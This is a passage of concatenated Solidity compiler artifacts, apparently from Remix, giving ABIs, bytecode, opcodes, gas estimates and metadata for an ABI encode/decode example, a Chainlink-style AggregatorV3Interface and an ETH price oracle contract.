;16098:1;16095;16088:12;16031:71;15970:138;:::o;16114:155::-;16168:5;16206:6;16193:20;16184:29;;16222:41;16257:5;16222:41;:::i;:::-;16114:155;;;;:::o;16275:180::-;16323:77;16320:1;16313:88;16420:4;16417:1;16410:15;16444:4;16441:1;16434:15;16461:281;16544:27;16566:4;16544:27;:::i;:::-;16536:6;16532:40;16674:6;16662:10;16659:22;16638:18;16626:10;16623:34;16620:62;16617:88;;;16685:18;;:::i;:::-;16617:88;16725:10;16721:2;16714:22;16504:238;16461:281;;:::o;16748:129::-;16782:6;16809:20;;:::i;:::-;16799:30;;16838:33;16866:4;16858:6;16838:33;:::i;:::-;16748:129;;;:::o;16883:311::-;16960:4;17050:18;17042:6;17039:30;17036:56;;;17072:18;;:::i;:::-;17036:56;17122:4;17114:6;17110:17;17102:25;;17182:4;17176;17172:15;17164:23;;16883:311;;;:::o;17217:710::-;17313:5;17338:81;17354:64;17411:6;17354:64;:::i;:::-;17338:81;:::i;:::-;17329:90;;17439:5;17468:6;17461:5;17454:21;17502:4;17495:5;17491:16;17484:23;;17555:4;17547:6;17543:17;17535:6;17531:30;17584:3;17576:6;17573:15;17570:122;;;17603:79;;:::i;:::-;17570:122;17718:6;17701:220;17735:6;17730:3;17727:15;17701:220;;;17810:3;17839:37;17872:3;17860:10;17839:37;:::i;:::-;17834:3;17827:50;17906:4;17901:3;17897:14;17890:21;;17777:144;17761:4;17756:3;17752:14;17745:21;;17701:220;;;17705:21;17319:608;;17217:710;;;;;:::o;17950:370::-;18021:5;18070:3;18063:4;18055:6;18051:17;18047:27;18037:122;;18078:79;;:::i;:::-;18037:122;18195:6;18182:20;18220:94;18310:3;18302:6;18295:4;18287:6;18283:17;18220:94;:::i;:::-;18211:103;;18027:293;17950:370;;;;:::o;18326:117::-;18435:1;18432;18425:12;18449:117;18558:1;18555;18548:12;18572:117;18681:1;18678;18671:12;18695:308;18757:4;18847:18;18839:6;18836:30;18833:56;;;18869:18;;:::i;:::-;18833:56;18907:29;18929:6;18907:29;:::i;:::-;18899:37;;18991:4;18985;18981:15;18973:23;;18695:308;;;:::o;19009:425::-;19087:5;19112:66;19128:49;19170:6;19128:49;:::i;:::-;19112:66;:::i;:::-;19103:75;;19201:6;19194:5;19187:21;19239:4;19232:5;19228:16;19277:3;19268:6;19263:3;19259:16;19256:25;19253:112;;;19284:79;;:::i;:::-;19253:112;19374:54;19421:6;19416:3;19411;19374:54;:::i;:::-;19093:341;19009:425;;;;;:::o;19454:340::-;19510:5;19559:3;19552:4;19544:6;19540:17;19536:27;19526:122;;19567:79;;:::i;:::-;19526:122;19684:6;19671:20;19709:79;19784:3;19776:6;19769:4;19761:6;19757:17;19709:79;:::i;:::-;19700:88;;19516:278;19454:340;;;;:::o;19800:249::-;19875:4;19965:18;19957:6;19954:30;19951:56;;;19987:18;;:::i;:::-;19951:56;20037:4;20029:6;20025:17;20017:25;;19800:249;;;:::o;20073:643::-;20167:5;20192:79;20208:62;20263:6;20208:62;:::i;:::-;20192:79;:::i;:::-;20183:88;;20291:5;20344:4;20336:6;20332:17;20324:6;20320:30;20373:3;20365:6;20362:15;20359:122;;;20392:79;;:::i;:::-;20359:122;20507:6;20490:220;20524:6;20519:3;20516:15;20490:220;;;20599:3;20628:37;20661:3;20649:10;20628:37;:::i;:::-;20623:3;20616:50;20695:4;20690:3;20686:14;20679:21;;20566:144;20550:4;20545:3;20541:14;20534:21;;20490:220;;;20494:21;20173:543;;20073:643;;;;;:::o;20740:339::-;20809:5;20858:3;20851:4;20843:6;20839:17;20835:27;20825:122;;20866:79;;:::i;:::-;20825:122;20970:4;20992:81;21069:3;21061:6;21053;20992:81;:::i;:::-;20983:90;;20815:264;20740:339;;;;:::o;21118:765::-;21190:5;21234:4;21222:9;21217:3;21213:19;21209:30;21206:117;;;21242:79;;:::i;:::-;21206:117;21341:21;21357:4;21341:21;:::i;:::-;21332:30;;21449:1;21438:9;21434:17;21421:31;21479:18;21471:6;21468:30;21465:117;;;21501:79;;:::i;:::-;21465:117;21621:59;21676:3;21667:6;21656:9;21652:22;21621:59;:::i;:::-;21614:4;21607:5;21603:16;21596:85;21372:320;21751:2;21792:72;21860:3;21851:6;21840:9;21836:22;21792:72;:::i;:::-;21785:4;21778:5;21774:16;21767:98;21702:174;21118:765;;;;:::o;21889:1197::-;22031:6;22039;22047;22055;22104:3;22092:9;22083:7;22079:23;22075:33;22072:120;;;22111:79;;:::i;:::-;22072:120;22231:1;22256:53;22301:7;22292:6;22281:9;22277:22;22256:53;:::i;:::-;22246:63;;22202:117;22358:2;22384:61;22437:7;22428:6;22417:9;22413:22;22384:61;:::i;:::-;22374:71;;22329:126;22522:2;22511:9;22507:18;22494:32;22553:18;22545:6;22542:30;22539:117;;;22575:79;;:::i;:::-;22539:117;22680:78;22750:7;22741:6;22730:9;22726:22;22680:78;:::i;:::-;22670:88;;22465:303;22835:2;22824:9;22820:18;22807:32;22866:18;22858:6;22855:30;22852:117;;;22888:79;;:::i;:::-;22852:117;22993:76;23061:7;23052:6;23041:9;23037:22;22993:76;:::i;:::-;22983:86;;22778:301;21889:1197;;;;;;;:::o" | |
}, | |
"gasEstimates": { | |
"creation": { | |
"codeDepositCost": "630600", | |
"executionCost": "662", | |
"totalCost": "631262" | |
}, | |
"external": { | |
"decode(bytes)": "infinite", | |
"encode(uint256,address,uint256[],(string,uint256[2]))": "infinite" | |
} | |
}, | |
"methodIdentifiers": { | |
"decode(bytes)": "e5c5e9a3", | |
"encode(uint256,address,uint256[],(string,uint256[2]))": "7049e087" | |
} | |
}, | |
"abi": [ | |
{ | |
"inputs": [ | |
{ | |
"internalType": "bytes", | |
"name": "data", | |
"type": "bytes" | |
} | |
], | |
"name": "decode", | |
"outputs": [ | |
{ | |
"internalType": "uint256", | |
"name": "x", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "address", | |
"name": "addr", | |
"type": "address" | |
}, | |
{ | |
"internalType": "uint256[]", | |
"name": "arr", | |
"type": "uint256[]" | |
}, | |
{ | |
"components": [ | |
{ | |
"internalType": "string", | |
"name": "name", | |
"type": "string" | |
}, | |
{ | |
"internalType": "uint256[2]", | |
"name": "nums", | |
"type": "uint256[2]" | |
} | |
], | |
"internalType": "struct AbiDecode.MyStruct", | |
"name": "myStruct", | |
"type": "tuple" | |
} | |
], | |
"stateMutability": "pure", | |
"type": "function" | |
}, | |
{ | |
"inputs": [ | |
{ | |
"internalType": "uint256", | |
"name": "x", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "address", | |
"name": "addr", | |
"type": "address" | |
}, | |
{ | |
"internalType": "uint256[]", | |
"name": "arr", | |
"type": "uint256[]" | |
}, | |
{ | |
"components": [ | |
{ | |
"internalType": "string", | |
"name": "name", | |
"type": "string" | |
}, | |
{ | |
"internalType": "uint256[2]", | |
"name": "nums", | |
"type": "uint256[2]" | |
} | |
], | |
"internalType": "struct AbiDecode.MyStruct", | |
"name": "myStruct", | |
"type": "tuple" | |
} | |
], | |
"name": "encode", | |
"outputs": [ | |
{ | |
"internalType": "bytes", | |
"name": "", | |
"type": "bytes" | |
} | |
], | |
"stateMutability": "pure", | |
"type": "function" | |
} | |
] | |
} |
{ | |
"compiler": { | |
"version": "0.8.20+commit.a1b79de6" | |
}, | |
"language": "Solidity", | |
"output": { | |
"abi": [ | |
{ | |
"inputs": [ | |
{ | |
"internalType": "bytes", | |
"name": "data", | |
"type": "bytes" | |
} | |
], | |
"name": "decode", | |
"outputs": [ | |
{ | |
"internalType": "uint256", | |
"name": "x", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "address", | |
"name": "addr", | |
"type": "address" | |
}, | |
{ | |
"internalType": "uint256[]", | |
"name": "arr", | |
"type": "uint256[]" | |
}, | |
{ | |
"components": [ | |
{ | |
"internalType": "string", | |
"name": "name", | |
"type": "string" | |
}, | |
{ | |
"internalType": "uint256[2]", | |
"name": "nums", | |
"type": "uint256[2]" | |
} | |
], | |
"internalType": "struct AbiDecode.MyStruct", | |
"name": "myStruct", | |
"type": "tuple" | |
} | |
], | |
"stateMutability": "pure", | |
"type": "function" | |
}, | |
{ | |
"inputs": [ | |
{ | |
"internalType": "uint256", | |
"name": "x", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "address", | |
"name": "addr", | |
"type": "address" | |
}, | |
{ | |
"internalType": "uint256[]", | |
"name": "arr", | |
"type": "uint256[]" | |
}, | |
{ | |
"components": [ | |
{ | |
"internalType": "string", | |
"name": "name", | |
"type": "string" | |
}, | |
{ | |
"internalType": "uint256[2]", | |
"name": "nums", | |
"type": "uint256[2]" | |
} | |
], | |
"internalType": "struct AbiDecode.MyStruct", | |
"name": "myStruct", | |
"type": "tuple" | |
} | |
], | |
"name": "encode", | |
"outputs": [ | |
{ | |
"internalType": "bytes", | |
"name": "", | |
"type": "bytes" | |
} | |
], | |
"stateMutability": "pure", | |
"type": "function" | |
} | |
], | |
"devdoc": { | |
"kind": "dev", | |
"methods": {}, | |
"version": 1 | |
}, | |
"userdoc": { | |
"kind": "user", | |
"methods": {}, | |
"version": 1 | |
} | |
}, | |
"settings": { | |
"compilationTarget": { | |
"contracts/10_Abi_Decode.sol": "AbiDecode" | |
}, | |
"evmVersion": "shanghai", | |
"libraries": {}, | |
"metadata": { | |
"bytecodeHash": "ipfs" | |
}, | |
"optimizer": { | |
"enabled": false, | |
"runs": 200 | |
}, | |
"remappings": [] | |
}, | |
"sources": { | |
"contracts/10_Abi_Decode.sol": { | |
"keccak256": "0x7b9a656037abc4f9d7bfa86010ccc3d73f05d421d1f989cb7ff836d398aa2242", | |
"license": "MIT", | |
"urls": [ | |
"bzz-raw://5c0195a61aa33808603b80ddbb9002c7bcf9543d38ef5bfd5b0ec43ece3d3ea4", | |
"dweb:/ipfs/QmQGg3H6MhqcY6ndUc1CqAVdomBpu8EJLjGQijwgExDWzT" | |
] | |
} | |
}, | |
"version": 1 | |
} |
{ | |
"deploy": { | |
"VM:-": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"main:1": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"ropsten:3": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"rinkeby:4": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"kovan:42": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"goerli:5": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"Custom": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
} | |
}, | |
"data": { | |
"bytecode": { | |
"functionDebugData": {}, | |
"generatedSources": [], | |
"linkReferences": {}, | |
"object": "", | |
"opcodes": "", | |
"sourceMap": "" | |
}, | |
"deployedBytecode": { | |
"functionDebugData": {}, | |
"generatedSources": [], | |
"immutableReferences": {}, | |
"linkReferences": {}, | |
"object": "", | |
"opcodes": "", | |
"sourceMap": "" | |
}, | |
"gasEstimates": null, | |
"methodIdentifiers": { | |
"decimals()": "313ce567", | |
"description()": "7284e416", | |
"getRoundData(uint80)": "9a6fc8f5", | |
"latestRoundData()": "feaf968c", | |
"version()": "54fd4d50" | |
} | |
}, | |
"abi": [ | |
{ | |
"inputs": [], | |
"name": "decimals", | |
"outputs": [ | |
{ | |
"internalType": "uint8", | |
"name": "", | |
"type": "uint8" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "description", | |
"outputs": [ | |
{ | |
"internalType": "string", | |
"name": "", | |
"type": "string" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [ | |
{ | |
"internalType": "uint80", | |
"name": "_roundId", | |
"type": "uint80" | |
} | |
], | |
"name": "getRoundData", | |
"outputs": [ | |
{ | |
"internalType": "uint80", | |
"name": "roundId", | |
"type": "uint80" | |
}, | |
{ | |
"internalType": "int256", | |
"name": "answer", | |
"type": "int256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "startedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "updatedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint80", | |
"name": "answeredInRound", | |
"type": "uint80" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "latestRoundData", | |
"outputs": [ | |
{ | |
"internalType": "uint80", | |
"name": "roundId", | |
"type": "uint80" | |
}, | |
{ | |
"internalType": "int256", | |
"name": "answer", | |
"type": "int256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "startedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "updatedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint80", | |
"name": "answeredInRound", | |
"type": "uint80" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "version", | |
"outputs": [ | |
{ | |
"internalType": "uint256", | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
} | |
] | |
} |
{ | |
"compiler": { | |
"version": "0.8.20+commit.a1b79de6" | |
}, | |
"language": "Solidity", | |
"output": { | |
"abi": [ | |
{ | |
"inputs": [], | |
"name": "decimals", | |
"outputs": [ | |
{ | |
"internalType": "uint8", | |
"name": "", | |
"type": "uint8" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "description", | |
"outputs": [ | |
{ | |
"internalType": "string", | |
"name": "", | |
"type": "string" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [ | |
{ | |
"internalType": "uint80", | |
"name": "_roundId", | |
"type": "uint80" | |
} | |
], | |
"name": "getRoundData", | |
"outputs": [ | |
{ | |
"internalType": "uint80", | |
"name": "roundId", | |
"type": "uint80" | |
}, | |
{ | |
"internalType": "int256", | |
"name": "answer", | |
"type": "int256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "startedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "updatedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint80", | |
"name": "answeredInRound", | |
"type": "uint80" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "latestRoundData", | |
"outputs": [ | |
{ | |
"internalType": "uint80", | |
"name": "roundId", | |
"type": "uint80" | |
}, | |
{ | |
"internalType": "int256", | |
"name": "answer", | |
"type": "int256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "startedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint256", | |
"name": "updatedAt", | |
"type": "uint256" | |
}, | |
{ | |
"internalType": "uint80", | |
"name": "answeredInRound", | |
"type": "uint80" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "version", | |
"outputs": [ | |
{ | |
"internalType": "uint256", | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
} | |
], | |
"devdoc": { | |
"kind": "dev", | |
"methods": {}, | |
"version": 1 | |
}, | |
"userdoc": { | |
"kind": "user", | |
"methods": {}, | |
"version": 1 | |
} | |
}, | |
"settings": { | |
"compilationTarget": { | |
"contracts/AggregatorV3Interface.sol": "AggregatorV3Interface" | |
}, | |
"evmVersion": "shanghai", | |
"libraries": {}, | |
"metadata": { | |
"bytecodeHash": "ipfs" | |
}, | |
"optimizer": { | |
"enabled": true, | |
"runs": 200 | |
}, | |
"remappings": [] | |
}, | |
"sources": { | |
"contracts/AggregatorV3Interface.sol": { | |
"keccak256": "0x4542697bfb1a53476a1d3d7c72bc13921e0c9c8fa7a628f76a63a5339487bc83", | |
"license": "MIT", | |
"urls": [ | |
"bzz-raw://7039c919e0ce2adbf7cc16436b9bc703f58a6cd258b2bbc4b1e03f9d94d52f8c", | |
"dweb:/ipfs/QmTRaaE7KT3vM3zNgdjYMcXikeDLx8mCh1ANzGqTGMUvCZ" | |
] | |
} | |
}, | |
"version": 1 | |
} |
{ | |
"deploy": { | |
"VM:-": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"main:1": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"ropsten:3": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"rinkeby:4": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"kovan:42": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"goerli:5": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
}, | |
"Custom": { | |
"linkReferences": {}, | |
"autoDeployLib": true | |
} | |
}, | |
"data": { | |
"bytecode": { | |
"linkReferences": {}, | |
"object": "608060405234801561001057600080fd5b50600080546001600160a01b031916738468b2bdce073a157e560aa4d9ccf6db1db9850717905561018d806100466000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80638e15f4731461003b578063c38ad27314610055575b600080fd5b61004361005d565b60408051918252519081900360200190f35b610043610151565b60008060009054906101000a90046001600160a01b03166001600160a01b03166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100ac57600080fd5b505afa1580156100c0573d6000803e3d6000fd5b505050506040513d60208110156100d657600080fd5b5051600155600054604080516350d25bcd60e01b815290516001600160a01b03909216916350d25bcd91600480820192602092909190829003018186803b15801561012057600080fd5b505afa158015610134573d6000803e3d6000fd5b505050506040513d602081101561014a57600080fd5b5051905090565b6001548156fea2646970667358221220416c5ba39c50bc0adfc9cffd56ed88e1e29058b7d0e603c49cad3dbde652714864736f6c634300060c0033", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x0 DUP1 SLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB NOT AND PUSH20 0x8468B2BDCE073A157E560AA4D9CCF6DB1DB98507 OR SWAP1 SSTORE PUSH2 0x18D DUP1 PUSH2 0x46 PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x36 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x8E15F473 EQ PUSH2 0x3B JUMPI DUP1 PUSH4 0xC38AD273 EQ PUSH2 0x55 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x43 PUSH2 0x5D JUMP JUMPDEST PUSH1 0x40 DUP1 MLOAD SWAP2 DUP3 MSTORE MLOAD SWAP1 DUP2 SWAP1 SUB PUSH1 0x20 ADD SWAP1 RETURN JUMPDEST PUSH2 0x43 PUSH2 0x151 JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB AND PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB AND PUSH4 0x50D25BCD PUSH1 0x40 MLOAD DUP2 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x20 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP7 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0xAC JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS STATICCALL ISZERO DUP1 ISZERO PUSH2 0xC0 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x40 MLOAD RETURNDATASIZE PUSH1 0x20 DUP2 LT ISZERO PUSH2 0xD6 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP MLOAD PUSH1 0x1 SSTORE PUSH1 0x0 SLOAD PUSH1 0x40 DUP1 MLOAD PUSH4 0x50D25BCD PUSH1 0xE0 SHL DUP2 MSTORE SWAP1 MLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB SWAP1 SWAP3 AND SWAP2 PUSH4 0x50D25BCD SWAP2 PUSH1 0x4 DUP1 DUP3 ADD SWAP3 PUSH1 0x20 SWAP3 SWAP1 SWAP2 SWAP1 DUP3 SWAP1 SUB ADD DUP2 DUP7 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x120 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS STATICCALL ISZERO DUP1 ISZERO PUSH2 0x134 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x40 MLOAD RETURNDATASIZE PUSH1 0x20 DUP2 LT ISZERO PUSH2 0x14A JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP MLOAD SWAP1 POP SWAP1 JUMP JUMPDEST PUSH1 0x1 SLOAD DUP2 JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 COINBASE PUSH13 0x5BA39C50BC0ADFC9CFFD56ED88 0xE1 0xE2 SWAP1 PC 0xB7 0xD0 0xE6 SUB 0xC4 SWAP13 0xAD RETURNDATASIZE 0xBD 0xE6 MSTORE PUSH18 0x4864736F6C634300060C0033000000000000 ", | |
"sourceMap": "187:742:0:-:0;;;512:224;;;;;;;;;-1:-1:-1;649:9:0;:75;;-1:-1:-1;;;;;;649:75:0;681:42;649:75;;;187:742;;;;;;" | |
}, | |
"deployedBytecode": { | |
"immutableReferences": {}, | |
"linkReferences": {}, | |
"object": "608060405234801561001057600080fd5b50600436106100365760003560e01c80638e15f4731461003b578063c38ad27314610055575b600080fd5b61004361005d565b60408051918252519081900360200190f35b610043610151565b60008060009054906101000a90046001600160a01b03166001600160a01b03166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100ac57600080fd5b505afa1580156100c0573d6000803e3d6000fd5b505050506040513d60208110156100d657600080fd5b5051600155600054604080516350d25bcd60e01b815290516001600160a01b03909216916350d25bcd91600480820192602092909190829003018186803b15801561012057600080fd5b505afa158015610134573d6000803e3d6000fd5b505050506040513d602081101561014a57600080fd5b5051905090565b6001548156fea2646970667358221220416c5ba39c50bc0adfc9cffd56ed88e1e29058b7d0e603c49cad3dbde652714864736f6c634300060c0033", | |
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x36 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x8E15F473 EQ PUSH2 0x3B JUMPI DUP1 PUSH4 0xC38AD273 EQ PUSH2 0x55 JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x43 PUSH2 0x5D JUMP JUMPDEST PUSH1 0x40 DUP1 MLOAD SWAP2 DUP3 MSTORE MLOAD SWAP1 DUP2 SWAP1 SUB PUSH1 0x20 ADD SWAP1 RETURN JUMPDEST PUSH2 0x43 PUSH2 0x151 JUMP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 SWAP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB AND PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB AND PUSH4 0x50D25BCD PUSH1 0x40 MLOAD DUP2 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH1 0x20 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 DUP7 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0xAC JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS STATICCALL ISZERO DUP1 ISZERO PUSH2 0xC0 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x40 MLOAD RETURNDATASIZE PUSH1 0x20 DUP2 LT ISZERO PUSH2 0xD6 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP MLOAD PUSH1 0x1 SSTORE PUSH1 0x0 SLOAD PUSH1 0x40 DUP1 MLOAD PUSH4 0x50D25BCD PUSH1 0xE0 SHL DUP2 MSTORE SWAP1 MLOAD PUSH1 0x1 PUSH1 0x1 PUSH1 0xA0 SHL SUB SWAP1 SWAP3 AND SWAP2 PUSH4 0x50D25BCD SWAP2 PUSH1 0x4 DUP1 DUP3 ADD SWAP3 PUSH1 0x20 SWAP3 SWAP1 SWAP2 SWAP1 DUP3 SWAP1 SUB ADD DUP2 DUP7 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x120 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS STATICCALL ISZERO DUP1 ISZERO PUSH2 0x134 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP PUSH1 0x40 MLOAD RETURNDATASIZE PUSH1 0x20 DUP2 LT ISZERO PUSH2 0x14A JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP MLOAD SWAP1 POP SWAP1 JUMP JUMPDEST PUSH1 0x1 SLOAD DUP2 JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 COINBASE PUSH13 0x5BA39C50BC0ADFC9CFFD56ED88 0xE1 0xE2 SWAP1 PC 0xB7 0xD0 0xE6 SUB 0xC4 SWAP13 0xAD RETURNDATASIZE 0xBD 0xE6 MSTORE PUSH18 0x4864736F6C634300060C0033000000000000 ", | |
"sourceMap": "187:742:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;772:152;;;:::i;:::-;;;;;;;;;;;;;;;;325:20;;;:::i;772:152::-;814:6;849:9;;;;;;;;;-1:-1:-1;;;;;849:9:0;-1:-1:-1;;;;;849:22:0;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;849:24:0;833:8;:41;892:9;;:24;;;-1:-1:-1;;;892:24:0;;;;-1:-1:-1;;;;;892:9:0;;;;:22;;:24;;;;;849;;892;;;;;;;;:9;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;892:24:0;;-1:-1:-1;772:152:0;:::o;325:20::-;;;;:::o" | |
}, | |
"gasEstimates": { | |
"creation": { | |
"codeDepositCost": "79400", | |
"executionCost": "20965", | |
"totalCost": "100365" | |
}, | |
"external": { | |
"getLatestPrice()": "infinite", | |
"priceETH()": "998" | |
} | |
}, | |
"methodIdentifiers": { | |
"getLatestPrice()": "8e15f473", | |
"priceETH()": "c38ad273" | |
} | |
}, | |
"abi": [ | |
{ | |
"inputs": [], | |
"stateMutability": "nonpayable", | |
"type": "constructor" | |
}, | |
{ | |
"anonymous": false, | |
"inputs": [ | |
{ | |
"indexed": true, | |
"internalType": "bytes32", | |
"name": "requestId", | |
"type": "bytes32" | |
}, | |
{ | |
"indexed": true, | |
"internalType": "uint256", | |
"name": "price", | |
"type": "uint256" | |
} | |
], | |
"name": "RequestEthereumPriceFulfilled", | |
"type": "event" | |
}, | |
{ | |
"inputs": [], | |
"name": "getLatestPrice", | |
"outputs": [ | |
{ | |
"internalType": "int256", | |
"name": "", | |
"type": "int256" | |
} | |
], | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "priceETH", | |
"outputs": [ | |
{ | |
"internalType": "uint256", | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
} | |
] | |
} |
{ | |
"compiler": { | |
"version": "0.6.12+commit.27d51765" | |
}, | |
"language": "Solidity", | |
"output": { | |
"abi": [ | |
{ | |
"inputs": [], | |
"stateMutability": "nonpayable", | |
"type": "constructor" | |
}, | |
{ | |
"anonymous": false, | |
"inputs": [ | |
{ | |
"indexed": true, | |
"internalType": "bytes32", | |
"name": "requestId", | |
"type": "bytes32" | |
}, | |
{ | |
"indexed": true, | |
"internalType": "uint256", | |
"name": "price", | |
"type": "uint256" | |
} | |
], | |
"name": "RequestEthereumPriceFulfilled", | |
"type": "event" | |
}, | |
{ | |
"inputs": [], | |
"name": "getLatestPrice", | |
"outputs": [ | |
{ | |
"internalType": "int256", | |
"name": "", | |
"type": "int256" | |
} | |
], | |
"stateMutability": "nonpayable", | |
"type": "function" | |
}, | |
{ | |
"inputs": [], | |
"name": "priceETH", | |
"outputs": [ | |
{ | |
"internalType": "uint256", | |
"name": "", | |
"type": "uint256" | |
} | |
], | |
"stateMutability": "view", | |
"type": "function" | |
} | |
], | |
"devdoc": { | |
"kind": "dev", | |
"methods": {}, | |
"version": 1 | |
}, | |
"userdoc": { | |
"kind": "user", | |
"methods": {}, | |
"version": 1 | |
} | |
}, | |
"settings": { | |
"compilationTarget": { | |
"contracts/43_Oracles.sol": "AskPrice" | |
}, | |
"evmVersion": "istanbul", | |
"libraries": {}, | |
"metadata": { | |
